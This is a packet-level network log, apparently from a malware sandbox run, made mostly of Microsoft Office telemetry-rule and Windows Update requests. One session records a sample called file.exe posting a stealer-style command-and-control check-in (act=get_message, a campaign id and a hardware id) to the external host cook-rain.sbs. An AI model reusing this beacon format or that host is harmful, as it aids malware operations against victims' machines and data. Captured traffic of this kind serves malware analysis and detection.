2024-11-18 01:34:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013423Z-16547b76f7fqqjnnhC1DFWxv7400000003d000000000buyp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:23 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 608c19dc-201e-005d-1a7c-37afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013423Z-164f84587bfh9nvdhC1DFWmce000000002y000000000p6m8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:23 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013423Z-164f84587bf6n6jwhC1DFW90fn000000047g00000000mzqr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49768	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:23 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-18 01:34:23 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 34 33 44 31 31 43 37 41 34 38 46 36 33 34 41 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=643D11C7A48F634AF7005D7B20127A88
2024-11-18 01:34:24 UTC	1001	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tdatf55d3op55e6fo5obh3k659; expires=Thu, 13-Mar-2025 19:21:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=49t4HEsuvq9BMqSr8HaeqtJoxJ1REr6vqSdLSlbZWZ0drP1vzyOlazgtBfTF%2FeYgV%2BdTl1fbVPXdJqjont1ypfVrWhNaQDZLAawXlFIdtl7KSgJJMSyoYKJ6ldOhln73"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4437c7e8c2e9a4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1547&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=1824826&cwnd=250&unsent_bytes=0&cid=349ef9decff0c13b&ts=633&x=0"
2024-11-18 01:34:24 UTC	214	IN	Data Raw: 64 30 0d 0a 57 32 41 48 67 33 33 6c 57 45 4e 33 7a 53 75 65 78 43 37 36 36 48 51 36 47 46 36 39 55 71 52 31 54 54 36 61 44 2f 2b 2b 63 49 34 41 47 79 58 32 58 39 39 36 4b 77 4f 35 57 36 53 59 41 61 62 48 52 51 49 74 63 49 39 6a 6b 56 74 38 44 36 6b 68 7a 6f 67 73 6f 54 51 47 59 64 39 53 67 54 30 6c 57 61 68 54 2b 2b 59 43 32 49 34 41 47 43 4a 75 6b 58 44 42 56 33 63 50 35 79 4f 45 6e 41 57 73 59 55 4a 76 39 77 6d 56 59 68 39 59 6b 51 53 76 2f 42 76 55 32 6b 55 50 4e 6d 2b 4d 59 59 70 45 65 32 4b 31 66 49 76 62 45 65 4d 48 54 33 58 69 45 34 45 33 4c 6c 6d 6f 55 2f 76 6d 41 74 69 4f 41 42 67 69 62 70 46 77 77 56 64 33 44 2b 64 53 0d 0a Data Ascii: d0W2AHg33lWEN3zSuexC766HQ6GF69UqR1TT6aD/++cI4AGyX2X996KwO5W6SYAabHRQItcI9jkVt8D6khzogsoTQGYd9SgT0lWahT++YC2I4AGCJukXDBV3cP5yOEnAWsYUJv9wmVYh9YkQSv/BvU2kUPNm+MYYpEe2K1fIvbEeMHT3XiE4E3LlmoU/vmAtiOABgibpFwwVd3D+dS
2024-11-18 01:34:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013424Z-1866b5c5fbbz7hb5hC1DFWru7c0000000540000000002t7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: d6bc25f6-801e-00a0-4c08-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013424Z-1866b5c5fbbpxkkxhC1DFWhvmc00000005a000000000k628 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49f8120e-101e-0046-25ca-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013424Z-164f84587bf9nk94hC1DFWerbg000000044g00000000b90b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:24 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: fc50ab50-c01e-00a2-4413-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013424Z-164f84587bft9l9khC1DFW32rc0000000560000000003vgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49772	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vKwvtNd9nwa+pWR&MD=ehLGCMS2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 01:34:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7ac548a8-8b67-44fc-97aa-26b6dfcb68ff MS-RequestId: ae5bb936-fc14-4de2-b1d0-37eeec18146f MS-CV: gOvmCE816UG3/GBK.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 01:34:24 GMT Connection: close Content-Length: 24490
2024-11-18 01:34:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 01:34:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:24 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013424Z-1866b5c5fbb2t6txhC1DFWa2qc000000051000000000n2xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:24 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2697cdeb-f01e-003c-0c8d-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013424Z-164f84587bf5rpzqhC1DFWmra80000000560000000004ghp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 